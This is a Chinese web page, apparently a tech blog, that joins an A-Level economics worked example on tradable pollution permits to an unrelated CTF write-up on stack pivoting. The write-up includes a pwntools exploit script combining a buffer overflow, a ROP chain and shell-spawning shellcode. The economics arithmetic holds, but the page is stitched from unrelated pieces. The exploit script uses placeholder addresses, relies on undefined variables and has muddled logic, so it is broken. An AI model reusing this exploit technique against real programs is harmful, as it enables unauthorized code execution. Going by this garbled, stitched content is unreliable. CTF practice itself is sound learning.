A-Level经济例题解析及练习

环境外部性与政府干预:减排政策解析
本文探讨了环境外部性和政府干预的主题,通过Acme和US Electric两个公司的案例,分析了两种减排策略的成本。第一种是直接监管,要求每个公司减少25%的硫排放,总成本为$3000。第二种策略是可交易的污染许可证,通过市场交易,Acme和USE以总成本$2000实现了相同的目标,比监管政策更具成本效益。

66d9a9d6da19e58b84334598e9fe07bc.jpeg

今日知识点:

Externality and Government Intervention

例题

Externality and Government Intervention

Acme and US Electric run coal-burning power plants.  Each emits 40 tons of sulphur dioxide per month, total emissions = 80 tons/month.   

Goal:  Reduce SO2 emissions 25%, to 60 tons/month

Cost of reducing emissions: $100/ton for Acme, $200/ton for USE

Policy option 1:  Regulation

Every firm must cut its emissions 25% (10 tons).

Compute the cost to each firm and total cost of achieving goal using this policy. 

解析

Cost to Acme:  (10 tons) x ($100/ton) = $1000

Cost to USE:  (10 tons) x ($200/ton) = $2000

Total cost of achieving goal = $3000

下面我们为大家准备了一道同类型的题目,请大家一起来试试解答。

Question:  Tradable pollution permits

Initially, Acme and USE each emit 40 tons SO2/month.

Goal:  reduce SO2 emissions to 60 tons/month total.

Policy option 2:  Tradable pollution permits

Issue 60 permits, each allows one ton SO2 emissions.  Give 30 permits to each firm.  Establish market for trading permits.

Each firm may use all its permits to emit 30 tons, may emit < 30 tons and sell leftover permits, or may purchase extra permits to emit > 30 tons.

Compute cost of achieving goal if Acme uses 20 permits and sells 10 to USE for $150 each.

.

.

.

.

.

正确答案及解析:

Acme

·&nbsp;sells 10 permits to USE for $150 each, gets $1500

·&nbsp;uses 20 permits, emits 20 tons SO2

·&nbsp;spends $2000 to reduce emissions by 20 tons

·&nbsp;&nbsp;net cost to Acme:&nbsp; $2000 - $1500 = $500

USE

·&nbsp;buys 10 permits from Acme, spends $1500

·&nbsp;uses these 10 plus original 30 permits, emits 40 tons

·&nbsp;spends nothing on abatement

·&nbsp;net cost to USE = $1500

Total cost of achieving goal = $500 + $1500 = $2000

Using tradable permits, goal is achieved at lower total cost and lower cost to each firm than using regulation.


### 关于BUUCTF中的栈迁移例题及其解题思路 在CTF竞赛中,尤其是涉及PWN类题目时,“栈迁移”是一种常见的技术手段。当目标程序存在栈空间不足或者无法满足攻击者需求的情况时,可以通过特定方式将执行流迁移到其他内存区域(如BSS段),从而实现更复杂的操作。 #### BUUCTF 中的栈迁移案例分析 在BUUCTF系列挑战赛中,确实有一些经典的栈迁移题目可以作为学习对象。以下是针对此类问题的一个典型例子以及其对应的解决方法: - **题目名称**: `buuctf level2` 或类似的缓冲区溢出练习[^1] 此题通常设计了一个小型漏洞程序,允许用户输入数据并触发缓冲区溢出条件。然而,在实际利用过程中发现原始堆栈大小不足以容纳完整的shellcode或其他复杂指令序列。因此需要采用栈迁移策略来完成最终的目标——获取Shell权限。 ##### 技术要点解析 为了成功实施基于栈迁移的技术方案,需掌握以下几个核心概念和技术细节: 1. **识别可用的大块连续内存** 利用调试工具(gdb/pwndbg),找到一块足够大的未被占用的空间用于放置新的有效载荷(payload) 。这可能位于全局变量存储区(BSS Section)或者其他动态分配的数据结构附近。 2. **构建ROP链调整控制流程** 如果直接跳转至新地址不可行,则应考虑通过返回导向编程(Return-Oriented Programming, ROP) 构建必要的中间步骤以改变寄存器状态或设置参数环境以便顺利过渡到下一步动作 。 3. **编写适合目标平台架构特点的有效负载(ShellCode)** 针对具体操作系统版本(x86/x64 Linux), 设计紧凑高效的机器码片段用来打开交互终端设备(/bin/sh) 并保持持久化连接通道[^2] 。 4. **精确计算偏移量(offsets)** 准确测量从初始崩溃点到达预期重定位位置之间的距离差值至关重要;稍有偏差可能导致整个计划失败甚至引发异常终止进程运行状况发生 。 ```python from pwn import * context.arch = 'i386' elf = ELF('./vuln') p = process("./vuln") offset_to_retaddr = cyclic_find('kaaa') # Find the offset using pattern_create and pattern_offset tools. payload = b'A' * offset_to_retaddr # Assume we have found a suitable gadget address via ROPgadget or similar tool. pop_eax_gadget_addr = 0xdeadbeef # Example value; replace with real one later. int_0x80_syscall_instruciton_addr = 0xbadf00d # Another placeholder. rop_chain = [ pop_eax_gadget_addr, 0xb # Syscall number for execve syscall on i386 architecture. ] for rop_element in rop_chain: payload += p32(rop_element) new_stack_base_address = elf.bss() + 0x100 # Hypothetical large buffer within BSS section range. payload += p32(new_stack_base_address) # Overwrite saved EIP to point at new stack base addr. # Now craft shellcode that will be copied into newly allocated space above... shellcode = asm(shellcraft.sh()) assert len(shellcode) < (new_stack_base_address - current_buffer_starting_point), "Payload too long!" final_payload = payload.ljust(len(current_buffer)+len(shellcode),b'\x90')+shellcode p.sendline(final_payload) p.interactive() ``` 上述脚本展示了如何组合多种技巧形成一套连贯的整体解决方案路径图谱。它先确定了关键要素的位置关系之后再逐步拼接起来构成最后提交给服务器端处理的信息包体内容形式。 --- ####
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值